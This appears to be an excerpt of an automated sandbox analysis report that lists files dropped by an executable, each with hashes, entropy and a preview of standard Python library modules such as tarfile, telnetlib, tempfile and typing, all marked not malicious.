Preview:	#! /usr/bin/env python3...."""The Tab Nanny despises ambiguous indentation. She knows no mercy.....tabnanny -- Detection of ambiguous indentation....For the time being this module is intended to be called as a script...However it is possible to import it into an IDE and use the function..check() described below.....Warning: The API provided by this module is likely to change in future..releases; such changes may not be backward compatible..."""....# Released to the public domain, by Tim Peters, 15 April 1998.....# XXX Note: this is now a standard library module...# XXX The API needs to undergo changes however; the current code is too..# XXX script-like. This will be addressed later.....__version__ = "6"....import os..import sys..import tokenize....__all__ = ["check", "NannyNag", "process_tokens"]....verbose = 0..filename_only = 0....def errprint(*args):.. sep = "".. for arg in args:.. sys.stderr.write(sep + str(arg)).. sep = " ".. sys.stderr.write("\n")....def

C:\recover\pw\Lib\tarfile.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	98505
Entropy (8bit):	4.4936859498516855
Encrypted:	false
SSDEEP:	768:AemBoIoCvKP1bdtZdRcPe4Z1PEJAsI28bVqMLsiz+eG+4:mBoIyP1ZtT2P4I28b7Lsizpp4
MD5:	AFF6CDD5D1BF1F5D762722A8F2DE3682
SHA1:	9240104EF5E5A3CAD532EDB48F5284888303C582
SHA-256:	C64E0E9D426B82809A815277D43169CB1EEA2F9C95A954C9E5CDD666EC00783E
SHA-512:	2A09F0103A1CAA6AB108F27411CC3689A691B2021F891BBB1F71219C41986799BEB90902C5E83F6DB0226497AD5B4C0DFDEEA919BC4BE3F3ACF342C4B3C3CCB7
Malicious:	false
Preview:	#!/usr/bin/env python3..#-------------------------------------------------------------------..# tarfile.py..#-------------------------------------------------------------------..# Copyright (C) 2002 Lars Gustaebel <lars@gustaebel.de>..# All rights reserved...#..# Permission is hereby granted, free of charge, to any person..# obtaining a copy of this software and associated documentation..# files (the "Software"), to deal in the Software without..# restriction, including without limitation the rights to use,..# copy, modify, merge, publish, distribute, sublicense, and/or sell..# copies of the Software, and to permit persons to whom the..# Software is furnished to do so, subject to the following..# conditions:..#..# The above copyright notice and this permission notice shall be..# included in all copies or substantial portions of the Software...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDI

C:\recover\pw\Lib\telnetlib.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	23931
Entropy (8bit):	4.513930532086154
Encrypted:	false
SSDEEP:	384:DyI08SF0rbykUKUIVl0RPB5Z9FrpvPsgeN9KOX2A4bVWVn:WASF0rukgI70RPB5Z9FrpvPsjN9Kw
MD5:	EB3B08FCEA31D18D33A07BD207D58138
SHA1:	F46BCA2B1F77A220229D678E0C134FE4E89BF0D7
SHA-256:	25012B9A5584CB996866A80A7A94BAF9BDC7567213561648DE7CA47D9F82B5D5
SHA-512:	4F673E37B236492F843384C693C8A37A13D8B72EEC107A9AD7218238A330B5824093D78E6A96B20952F2CE1F3F6939F311992D71095D7BBB8E47679199C6CCA9
Malicious:	false
Preview:	r"""TELNET client class.....Based on RFC 854: TELNET Protocol Specification, by J. Postel and..J. Reynolds....Example:....>>> from telnetlib import Telnet..>>> tn = Telnet('www.python.org', 79) # connect to finger port..>>> tn.write(b'guido\r\n')..>>> print(tn.read_all())..Login Name TTY Idle When Where..guido Guido van Rossum pts/2 <Dec 2 11:10> snag.cnri.reston......>>>....Note that read_all() won't read until eof -- it just reads some data..-- but it guarantees to read at least one byte unless EOF is hit.....It is possible to pass a Telnet object to a selector in order to wait until..more data is available. Note that in this case, read_eager() may return b''..even if there was data on the socket, because the protocol negotiation may have..eaten the data. This is why EOFError is needed in some cases to distinguish..between "no data" and "connection closed" (since the socket also appears ready..for reading when it is closed).....To

C:\recover\pw\Lib\tempfile.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	30059
Entropy (8bit):	4.458883871447617
Encrypted:	false
SSDEEP:	384:BNed/ue7EK/MBSxddEMDprcpdkddEJJS736fv1+N+l/zT:bed/uYE6M0xbEMDpopEuJJSefvkmT
MD5:	ADF281376FF2C17FE5648DAB3FF70635
SHA1:	9021298C6718C800AC40C08798DB4C5ECF254E93
SHA-256:	068FE9CF767803038445D0907CAA1012B7BEBA34125A59E5DBA6D29C3EBE0FE1
SHA-512:	98690E8B7E89ECEB5DC1DDAD07BF60B9BCD167D99545755E26AC8C12F0D01A023CBA2B20559C4D79CB16BFFACE0DA538D116AD219C83745FB6EA153E79A520A6
Malicious:	false
Preview:	"""Temporary files.....This module provides generic, low- and high-level interfaces for..creating temporary files and directories. All of the interfaces..provided by this module can be used without fear of race conditions..except for 'mktemp'. 'mktemp' is subject to race conditions and..should not be used; it is provided for backward compatibility only.....The default path names are returned as str. If you supply bytes as..input, all return values will be in bytes. Ex:.... >>> tempfile.mkstemp().. (4, '/tmp/tmptpu9nin8').. >>> tempfile.mkdtemp(suffix=b'').. b'/tmp/tmppbi8f0hy'....This module also provides some data items to the user:.... TMP_MAX - maximum number of names that will be tried before.. giving up... tempdir - If this is set to a string before the first use of.. any routine from this module, it will be considered as.. another candidate location to store temporary files..."""....__all__ = [.. "NamedTemporaryFile", "Te

C:\recover\pw\Lib\textwrap.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	20266
Entropy (8bit):	4.4470622302172105
Encrypted:	false
SSDEEP:	384:6jYFj/VIYzSu/AdorlSNMNt/KhV0q1uJN7J6CJap:6jYFj/bDAdWFOUNcC0p
MD5:	23A46648FFEC2BE524DEA36472771AFA
SHA1:	68BFBEE2540F7937B9C46EC5CF00D25539151019
SHA-256:	288D890D5440F4536EA74E75284C89931ECEF9D74D9033E8E9FA772C78789623
SHA-512:	70D95896F89DFFD2895240E38B771D8AB615EAE956979AC17DC5F4DA17CBA1898D83B2FB01DC4408426C3D0B9188916BD1138B4D8111070851EA2743E857423E
Malicious:	false
Preview:	"""Text wrapping and filling..."""....# Copyright (C) 1999-2001 Gregory P. Ward...# Copyright (C) 2002, 2003 Python Software Foundation...# Written by Greg Ward <gward@python.net>....import re....__all__ = ['TextWrapper', 'wrap', 'fill', 'dedent', 'indent', 'shorten']....# Hardcode the recognized whitespace characters to the US-ASCII..# whitespace characters. The main reason for doing this is that..# some Unicode spaces (like \u00a0) are non-breaking whitespaces..._whitespace = '\t\n\x0b\x0c\r '....class TextWrapper:.. """.. Object for wrapping/filling text. The public interface consists of.. the wrap() and fill() methods; the other methods are just there for.. subclasses to override in order to tweak the default behaviour... If you want to completely replace the main wrapping algorithm,.. you'll probably have to override _wrap_chunks()..... Several instance attributes control various aspects of wrapping:.. width (default: 70).. the maximum width of w

C:\recover\pw\Lib\this.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.7762509461988625
Encrypted:	false
SSDEEP:	24:b9G79+7q737Kv7Vm7QXUJRfDDFWnLmjoOLSFDuCSy176Pff2fdgmsG0Fm:k79+7q737s7A7QXG93COWVB76HsdnsGx
MD5:	92F4A7B0A22F593C8BDF429CAC3D4589
SHA1:	958CCB19110A69ED6595B5F16C768CA73A85C469
SHA-256:	5A89B1A1F22384960E69C554633A98558231F11A48260952EBFC21CA10F0625C
SHA-512:	2E0A0118BE0F4B309E6286E8015FFE0885181A77B485BA39E528638757D59ADB2F15F9F2ACC04DE31794357556DD5CC622EC8D6526604CE6F3F8520C2B64D925
Malicious:	false
Preview:	s = """Gur Mra bs Clguba, ol Gvz Crgref....Ornhgvshy vf orggre guna htyl...Rkcyvpvg vf orggre guna vzcyvpvg...Fvzcyr vf orggre guna pbzcyrk...Pbzcyrk vf orggre guna pbzcyvpngrq...Syng vf orggre guna arfgrq...Fcnefr vf orggre guna qrafr...Ernqnovyvgl pbhagf...Fcrpvny pnfrf nera'g fcrpvny rabhtu gb oernx gur ehyrf...Nygubhtu cenpgvpnyvgl orngf chevgl...Reebef fubhyq arire cnff fvyragyl...Hayrff rkcyvpvgyl fvyraprq...Va gur snpr bs nzovthvgl, ershfr gur grzcgngvba gb thrff...Gurer fubhyq or bar-- naq cersrenoyl bayl bar --boivbhf jnl gb qb vg...Nygubhtu gung jnl znl abg or boivbhf ng svefg hayrff lbh'er Qhgpu...Abj vf orggre guna arire...Nygubhtu arire vf bsgra orggre guna evtug abj...Vs gur vzcyrzragngvba vf uneq gb rkcynva, vg'f n onq vqrn...Vs gur vzcyrzragngvba vf rnfl gb rkcynva, vg znl or n tbbq vqrn...Anzrfcnprf ner bar ubaxvat terng vqrn -- yrg'f qb zber bs gubfr!"""....d = {}..for c in (65, 97):.. for i in range(26):.. d[chr(i+c)] = chr((i+13) % 26 + c)....print("".jo

C:\recover\pw\Lib\threading.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	58845
Entropy (8bit):	4.40732639245589
Encrypted:	false
SSDEEP:	768:2M81+KmC/gEGUXWyLOSpSI2gIk/fZtjinkKUd9aDJEi2OoOuTWJAkId6py5UwW9D:2bF6mf24RDKg9IEnO7IW+PdW97nX
MD5:	E6E1AAD9071428279781BEAD7D1B474C
SHA1:	A9850A2678A63E39CC3D60F0379A81F85CB7F0CA
SHA-256:	40F8B3A0F8E8C44CC43627CE2D97416F2CCB4152D621ACC8F169C7B4D1427315
SHA-512:	EADAD58B9322ECC59C45A580B37491355D1495F3FDFCA81192E0EE528ADC34CDCEFA5C5895EE5F7692C78FE7652D98F258F6C6D4B1C1EBD2DDBE924C110F1C48
Malicious:	false
Preview:	"""Thread module emulating a subset of Java's threading model."""....import os as _os..import sys as _sys..import _thread..import functools....from time import monotonic as _time..from _weakrefset import WeakSet..from itertools import islice as _islice, count as _count..try:.. from _collections import deque as _deque..except ImportError:.. from collections import deque as _deque....# Note regarding PEP 8 compliant names..# This threading model was originally inspired by Java, and inherited..# the convention of camelCase function and method names from that..# language. Those original names are not in any imminent danger of..# being deprecated (even for Py3k),so this module provides them as an..# alias for the PEP 8 compliant names..# Note that using the new PEP 8 compliant names facilitates substitution..# with the multiprocessing module, which doesn't provide the old..# Java inspired names.....__all__ = ['get_ident', 'active_count', 'Condition', 'current_thread',.. 'en

C:\recover\pw\Lib\timeit.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13871
Entropy (8bit):	4.371086714933462
Encrypted:	false
SSDEEP:	192:NSkzurY2n/UbxSni/eR9ETCWxFXCfs+8YXIHKutPPTJJeXXqJ79UE/J6MWZVkgj2:cLWbxii/kc/fXcsrHKut3TKXX296NZVI
MD5:	C6203F7BB9ECE6B3D3289A2E9BE08D6C
SHA1:	DF6A867CD0FB08947ACFB3939BA815B0E48DAA6D
SHA-256:	2632615C935A02D88636E5587955240CFD76D5DCCADC570719C3346E61D78182
SHA-512:	6CB49B882E7AD272C2AD0F852CDFEA0E01D458FBCCEAC1C279BA7D036F614B781C1607C49A788D635B92734B103D28446FA51E3E3A8CF4734BE06325F8DF59F7
Malicious:	false
Preview:	#! /usr/bin/env python3...."""Tool for measuring execution time of small code snippets.....This module avoids a number of common traps for measuring execution..times. See also Tim Peters' introduction to the Algorithms chapter in..the Python Cookbook, published by O'Reilly.....Library usage: see the Timer class.....Command line usage:.. python timeit.py [-n N] [-r N] [-s S] [-p] [-h] [--] [statement]....Options:.. -n/--number N: how many times to execute 'statement' (default: see below).. -r/--repeat N: how many times to repeat the timer (default 5).. -s/--setup S: statement to be executed once initially (default 'pass')... Execution time of this setup statement is NOT timed... -p/--process: use time.process_time() (default is time.perf_counter()).. -v/--verbose: print raw timing results; repeat for more digits precision.. -u/--unit: set the output time unit (nsec, usec, msec, or sec).. -h/--help: print this usage message and exit.. --: separate options from

C:\recover\pw\Lib\token.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2523
Entropy (8bit):	5.200512889670289
Encrypted:	false
SSDEEP:	48:JlLcdqen2WIMekwDqkJVZuR4APJ4BUhCla9frYqR6FCgLzqUVndcELod:Tc/2xMeJJIhOGhsa9zgvzqUVn+Ew
MD5:	AA65A2487B85B91AB92597D0AB01B3DB
SHA1:	EFAB12AABDF40AE7C127678A4E398A0D8D7333C7
SHA-256:	DEEF9E816F02D761501BB6E28870B204E2341D39D3D5D0131F5853781CBF2C0E
SHA-512:	107CBAFEE254F31530768507318616CC177F014E84D4AC37280E5054AF94E70BCC3D578EBB608FCBBFE91211B8E6F4B5CC13C6E470736916101B2607912AB6DB
Malicious:	false
Preview:	"""Token constants."""..# Auto-generated by Tools/scripts/generate_token.py....__all__ = ['tok_name', 'ISTERMINAL', 'ISNONTERMINAL', 'ISEOF']....ENDMARKER = 0..NAME = 1..NUMBER = 2..STRING = 3..NEWLINE = 4..INDENT = 5..DEDENT = 6..LPAR = 7..RPAR = 8..LSQB = 9..RSQB = 10..COLON = 11..COMMA = 12..SEMI = 13..PLUS = 14..MINUS = 15..STAR = 16..SLASH = 17..VBAR = 18..AMPER = 19..LESS = 20..GREATER = 21..EQUAL = 22..DOT = 23..PERCENT = 24..LBRACE = 25..RBRACE = 26..EQEQUAL = 27..NOTEQUAL = 28..LESSEQUAL = 29..GREATEREQUAL = 30..TILDE = 31..CIRCUMFLEX = 32..LEFTSHIFT = 33..RIGHTSHIFT = 34..DOUBLESTAR = 35..PLUSEQUAL = 36..MINEQUAL = 37..STAREQUAL = 38..SLASHEQUAL = 39..PERCENTEQUAL = 40..AMPEREQUAL = 41..VBAREQUAL = 42..CIRCUMFLEXEQUAL = 43..LEFTSHIFTEQUAL = 44..RIGHTSHIFTEQUAL = 45..DOUBLESTAREQUAL = 46..DOUBLESLASH = 47..DOUBLESLASHEQUAL = 48..AT = 49..ATEQUAL = 50..RARROW = 51..ELLIPSIS = 52..COLONEQUAL = 53..OP = 54..AWAIT = 55..ASYNC = 56..TYPE_IGNORE = 57..TYPE_COMMENT = 58..SOFT_KEYWORD

C:\recover\pw\Lib\tokenize.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	26605
Entropy (8bit):	4.4796819072543625
Encrypted:	false
SSDEEP:	384:gk38juhVciXCBRFY0VbUu/5Y2RGwrHfxGN8vlyk8fkRC:g8hVciXuRF2UGwrHINglykPRC
MD5:	A17093EC72AAEA5AC4577A66AA08A854
SHA1:	426A82CFAD92FF74C773A402A04E5F2E62E7DFAA
SHA-256:	2358675675BEB7A085FB97A7470B7E96327DFA8DE25BA49C5E5B4153197A4086
SHA-512:	5B81E97E8EC85A59C1F95148030DD1754C8E6D80FE794D895A05F47CA63961E49FA7074DCA85EBE79FE813467676C58DC7D428FFF19DF8ECE321ACC9E9CE28DE
Malicious:	false
Preview:	"""Tokenization help for Python programs.....tokenize(readline) is a generator that breaks a stream of bytes into..Python tokens. It decodes the bytes according to PEP-0263 for..determining source file encoding.....It accepts a readline-like method which is called repeatedly to get the..next line of input (or b"" for EOF). It generates 5-tuples with these..members:.... the token type (see token.py).. the token (a string).. the starting (row, column) indices of the token (a 2-tuple of ints).. the ending (row, column) indices of the token (a 2-tuple of ints).. the original line (string)....It is designed to match the working of the Python tokenizer exactly, except..that it produces COMMENT tokens for comments and gives type OP for all..operators. Additionally, all token lists start with an ENCODING token..which tells you which encoding was used to decode the bytes stream..."""....__author__ = 'Ka-Ping Yee <ping@lfw.org>'..__credits__ = ('GvR, ESR, Tim Peters, Thomas Wou

C:\recover\pw\Lib\trace.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	29943
Entropy (8bit):	4.347507846378227
Encrypted:	false
SSDEEP:	768:s8ANL0a9ZzFP5mpE+y0161HRlT9Lx+Mdbud3:biL0aJYp5yVtfud3
MD5:	44BAC37B405DD10CBEFE06F87249CDEF
SHA1:	3F1F7575D8FEE518D2E1D898CE1B557FEFD89A84
SHA-256:	7D0148C232A2116E1F47346532B62CAAB39D26743299E734362551520828C713
SHA-512:	2DDAEA9CC43D90404031A2E395320F5830717BD8CC9064948AD5039EF09DE640CA49F0601821A6EAC8EE3E7DF8C9C93B32C30FFAB48B89A7BF9EBE1BA963BA7E
Malicious:	false
Preview:	#!/usr/bin/env python3....# portions copyright 2001, Autonomous Zones Industries, Inc., all rights.....# err... reserved and offered to the public under the terms of the..# Python 2.2 license...# Author: Zooko O'Whielacronx..# http://zooko.com/..# mailto:zooko@zooko.com..#..# Copyright 2000, Mojam Media, Inc., all rights reserved...# Author: Skip Montanaro..#..# Copyright 1999, Bioreason, Inc., all rights reserved...# Author: Andrew Dalke..#..# Copyright 1995-1997, Automatrix, Inc., all rights reserved...# Author: Skip Montanaro..#..# Copyright 1991-1995, Stichting Mathematisch Centrum, all rights reserved...#..#..# Permission to use, copy, modify, and distribute this Python software and..# its associated documentation for any purpose without fee is hereby..# granted, provided that the above copyright notice appears in all copies,..# and that both that copyright notice and this permission notice appear in..# supporting documentation, and that the name of neither Automatrix,..# Bioreas

C:\recover\pw\Lib\traceback.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	26910
Entropy (8bit):	4.415954176266664
Encrypted:	false
SSDEEP:	384:yMn4PJRbCzdIxe/djOOkCnLIr4RCI+jpJAhqxSpGNYCkcAaZMGJP:yM4htOIxeb+f5PYX5aaGJP
MD5:	9FF63955DDAAD02512C46D4042FF21D5
SHA1:	9FD62E2D0BC3AB552157F6A844870D1C4D092A95
SHA-256:	3725667A85A861E1EE626774F9AE11F3EF7DAB2210222EB1742546F8057CA7B5
SHA-512:	79F56EE47A36CF81A4361927B17BA7F69507961ECF196419C0AFD06516F53C2891C30A469100233E410BEFC6244831FD21F6866BE9F61BF80BD402DBF100BE9D
Malicious:	false
Preview:	"""Extract, format and print information about Python stack traces."""....import collections..import itertools..import linecache..import sys....__all__ = ['extract_stack', 'extract_tb', 'format_exception',.. 'format_exception_only', 'format_list', 'format_stack',.. 'format_tb', 'print_exc', 'format_exc', 'print_exception',.. 'print_last', 'print_stack', 'print_tb', 'clear_frames',.. 'FrameSummary', 'StackSummary', 'TracebackException',.. 'walk_stack', 'walk_tb']....#..# Formatting and printing lists of traceback lines...#....def print_list(extracted_list, file=None):.. """Print the list of tuples as returned by extract_tb() or.. extract_stack() as a formatted stack trace to the given file.""".. if file is None:.. file = sys.stderr.. for item in StackSummary.from_list(extracted_list).format():.. print(item, file=file, end="")....def format_list(extracted_list):.. """Format a list of tuples or FrameSummary obj

C:\recover\pw\Lib\tracemalloc.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	18607
Entropy (8bit):	4.3022125555964355
Encrypted:	false
SSDEEP:	192:+4LhpNVbPdoUFsyIygyWy98JYYV/lGT7mEE/U/JZJtvryt/+ZYJOZGB5qTW:VhbVbPbFhFdWy98JYYVNGXLjGT
MD5:	0233BC515180C861D919BA79B6928163
SHA1:	FD671280B0ECDD6E8EB44F36C75ADE6E5C32DE8F
SHA-256:	488C28AD5FD084DD715986EA235928894F1B140AC880A5872655A99C97054DC2
SHA-512:	6B158318BF6BBCE099EC3519E5A2780504ADBB93B76F33FA19DE57BCA808757A466731D2D7C47EBCA29B492AE66685908449B811A02DA1BD62FE1F6D95B0A7A5
Malicious:	false
Preview:	from collections.abc import Sequence, Iterable..from functools import total_ordering..import fnmatch..import linecache..import os.path..import pickle....# Import types and functions implemented in C..from _tracemalloc import ..from _tracemalloc import _get_object_traceback, _get_traces......def _format_size(size, sign):.. for unit in ('B', 'KiB', 'MiB', 'GiB', 'TiB'):.. if abs(size) < 100 and unit != 'B':.. # 3 digits (xx.x UNIT).. if sign:.. return "%+.1f %s" % (size, unit).. else:.. return "%.1f %s" % (size, unit).. if abs(size) < 10 1024 or unit == 'TiB':.. # 4 or 5 digits (xxxx UNIT).. if sign:.. return "%+.0f %s" % (size, unit).. else:.. return "%.0f %s" % (size, unit).. size /= 1024......class Statistic:.. """.. Statistic difference on memory allocations between two Snapshot instance... """.... __slots__ = ('traceback

C:\recover\pw\Lib\tty.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	915
Entropy (8bit):	5.155261600153728
Encrypted:	false
SSDEEP:	12:NTExRunRoMsDJ3DTFBNUtzlZhFR7nrCVRTLSgDmOSad5hsh3G9FX9bI0ARdCVRTt:NT0SWBgTFRXC7TBLSavr/9UpC7TVlI9u
MD5:	766278735444B810C8C42470582F1A83
SHA1:	0137F3643374A75BC4F60CE34668BEA5C299C921
SHA-256:	45805F726BF977290DFAC21AEAC1E506E7759804BF9D01DB5DCF7D17337AEA30
SHA-512:	FD1EE04ED1AED4097E96A15A902398790447DB311577E8B8ECA86752D353A2699D6C9101C4D5DDF846DBFC3144B8B51CAC0016C1C84827AE7A0B30E9E88F7AC4
Malicious:	false
Preview:	"""Terminal utilities."""....# Author: Steen Lumholt.....from termios import *....__all__ = ["setraw", "setcbreak"]....# Indexes for termios list...IFLAG = 0..OFLAG = 1..CFLAG = 2..LFLAG = 3..ISPEED = 4..OSPEED = 5..CC = 6....def setraw(fd, when=TCSAFLUSH):.. """Put terminal into a raw mode.""".. mode = tcgetattr(fd).. mode[IFLAG] = mode[IFLAG] & ~(BRKINT \| ICRNL \| INPCK \| ISTRIP \| IXON).. mode[OFLAG] = mode[OFLAG] & ~(OPOST).. mode[CFLAG] = mode[CFLAG] & ~(CSIZE \| PARENB).. mode[CFLAG] = mode[CFLAG] \| CS8.. mode[LFLAG] = mode[LFLAG] & ~(ECHO \| ICANON \| IEXTEN \| ISIG).. mode[CC][VMIN] = 1.. mode[CC][VTIME] = 0.. tcsetattr(fd, when, mode)....def setcbreak(fd, when=TCSAFLUSH):.. """Put terminal into a cbreak mode.""".. mode = tcgetattr(fd).. mode[LFLAG] = mode[LFLAG] & ~(ECHO \| ICANON).. mode[CC][VMIN] = 1.. mode[CC][VTIME] = 0.. tcsetattr(fd, when, mode)..

C:\recover\pw\Lib\turtle.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	147901
Entropy (8bit):	4.482922205570421
Encrypted:	false
SSDEEP:	3072:RhZ5qJ9LvUDb+m2lrOprf5Aibivx4fi1lSCOVXc7:gFsb92lrOprf5ax4fi1lNOVXc7
MD5:	87A161538841B0A199EE354BAAFE9EDA
SHA1:	D6F87E3743EB1A92F75F7DB91D5ED609F721E1A2
SHA-256:	9D4D85BD394123349A6F73326C9236D45E84F0920C2695FEB9B1CD18C6BF2681
SHA-512:	34D3314445EA94C30A19B8080C79034A7A434A0293317B44D9F128A45ADC107BCA8736121A72FFE7B04EDFE38BAEE876E6FB2D0375A095D48A79EF698939CB4F
Malicious:	false
Preview:	#..# turtle.py: a Tkinter based turtle graphics module for Python..# Version 1.1b - 4. 5. 2009..#..# Copyright (C) 2006 - 2010 Gregor Lingl..# email: glingl@aon.at..#..# This software is provided 'as-is', without any express or implied..# warranty. In no event will the authors be held liable for any damages..# arising from the use of this software...#..# Permission is granted to anyone to use this software for any purpose,..# including commercial applications, and to alter it and redistribute it..# freely, subject to the following restrictions:..#..# 1. The origin of this software must not be misrepresented; you must not..# claim that you wrote the original software. If you use this software..# in a product, an acknowledgment in the product documentation would be..# appreciated but is not required...# 2. Altered source versions must be plainly marked as such, and must not be..# misrepresented as being the original software...# 3. This notice may not be removed or altered

C:\recover\pw\Lib\types.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	10424
Entropy (8bit):	4.624334482565398
Encrypted:	false
SSDEEP:	192:RYevVry18c+zNVWPfeSE5b6r/OKi+VfTQJWDswfAE9UYzaSaVDYG1XVz6:RYu+189zHWPm9l4faWYwLaVDZ1XV+
MD5:	C58C7A4EE7E383BE91CD75264D67B13B
SHA1:	60914B6F1022249CD5D0CF8CAA7ADB4DCF34C9EA
SHA-256:	0D3A1A2F8F0E286AD9EADBB397AF0C2DC4BEF0C71A7EBE4B51DED9862A301B01
SHA-512:	9450E434C0D4ABB93FA4CA2049626C05F65D4FB796D17AC5E504B8EC086ABEC00DCDC54319C1097D20E6E1EEC82529993482E37A0BF9675328421F1FA073BF04
Malicious:	false
Preview:	"""..Define names for built-in types that aren't directly accessible as a builtin..."""..import sys....# Iterators in Python aren't a matter of type but of protocol. A large..# and changing number of builtin types implement some flavor of..# iterator. Don't check the type! Use hasattr to check for both..# "__iter__" and "__next__" attributes instead.....def _f(): pass..FunctionType = type(_f)..LambdaType = type(lambda: None) # Same as FunctionType..CodeType = type(_f.__code__)..MappingProxyType = type(type.__dict__)..SimpleNamespace = type(sys.implementation)....def _cell_factory():.. a = 1.. def f():.. nonlocal a.. return f.__closure__[0]..CellType = type(_cell_factory())....def _g():.. yield 1..GeneratorType = type(_g())....async def _c(): pass.._c = _c()..CoroutineType = type(_c).._c.close() # Prevent ResourceWarning....async def _ag():.. yield.._ag = _ag()..AsyncGeneratorType = type(_ag)....class _C:.. def _m(self): pass..MethodType = type(_C(

C:\recover\pw\Lib\typing.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	95233
Entropy (8bit):	4.620896311323428
Encrypted:	false
SSDEEP:	1536:sChrnYjztAmhmKGKx/cHLfxRs/XbuRbSzN3LKn0EOdITayuk8wr6/XIN+N3:sChrnYtjmKa5KXbuRgN32n2d0aTwru4e
MD5:	82326ED4E7F4E1BEA3CF43DBBD7A1BC5
SHA1:	A87A102CD28E9CC4749DFCC320434866D7B23315
SHA-256:	6297F3CDEE258CF737E0167974DB2912F5933F59F8E7FD1EE33FD2F7A959351D
SHA-512:	C2A68B6F90321725442A69C75297E62C08F38BB9DA6A3EB1DC43CF0817633CED9CD70421FCD375A39D69FC0E4D8CE7E69D88835C8C75B8B0337CE8B30AA1713C
Malicious:	false
Preview:	"""..The typing module: Support for gradual typing as defined by PEP 484.....At large scale, the structure of the module is following:..* Imports and exports, all public names should be explicitly added to __all__...* Internal helper functions: these should never be used in code outside this module...* _SpecialForm and its instances (special forms):.. Any, NoReturn, ClassVar, Union, Optional, Concatenate..* Classes whose instances can be type arguments in addition to types:.. ForwardRef, TypeVar and ParamSpec..* The core of internal generics API: _GenericAlias and _VariadicGenericAlias, the latter is.. currently only used by Tuple and Callable. All subscripted types like X[int], Union[int, str],.. etc., are instances of either of these classes...* The public counterpart of the generics API consists of two classes: Generic and Protocol...* Public helper functions: get_type_hints, overload, cast, no_type_check,.. no_type_check_decorator...* Generic aliases for collections.abc ABCs a

C:\recover\pw\Lib\urllib\pycache\init.cpython-310.pyc.38970080

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	129
Entropy (8bit):	3.9991200396809736
Encrypted:	false
SSDEEP:	3:y/6Qllylluleh/wZWeiTKMWUZqOkcTgp:y/6Qy/qeh/wUMUAu4
MD5:	AFB9368C23E18CE6D115A7E93D8E61AB
SHA1:	E4B6667F6C641B54A99D5F241FA95AF85F2F82F4
SHA-256:	1780A47555553A218128B6A13E5A30E2060F663FCE247BE5128E72B1DCD5BD3C
SHA-512:	1F47CC476DA4E160607DB3A484B0E4F926D7E69F74503CDF3A3A02D17E3970A3A1A58B03ACECC4ABA264932F647AE8F06769857A3923057B70C6A43EE025A1FC
Malicious:	false
Preview:	o.........Sg.........................@...s....d.S.).N..r....r....r.....$C:\recover\pw\lib\urllib\__init__.py..<module>....s......

C:\recover\pw\Lib\urllib\pycache\error.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	2850
Entropy (8bit):	4.8901645942062695
Encrypted:	false
SSDEEP:	48:tjSbuQshuDSkJ8eJ/GiWqgpHO26ZenDxp/mdveDI8JG/UOUPkjKbMrHoYwqmAMla:0buyDSkJ8eJ/GmgpHF/DxwdveDI84/Ue
MD5:	14D55B07886E9A168BEA0886A90B73F7
SHA1:	4CC43FFE6DEC3D2DCA5571D98ABB102CF30071A8
SHA-256:	A09E56F9EAF16A3A9C121F62BC165DAE8BD734E85918FCDD739E32F24EB84D2F
SHA-512:	FBEC0F8F46243E388A3F9634A64A417CC2EE00980797D38C26E9FBEBE86E2C4ED63A4E85825EABF33A0391766D050A37E85B00988CC0A865ED0E04F8CAFD11A4
Malicious:	false
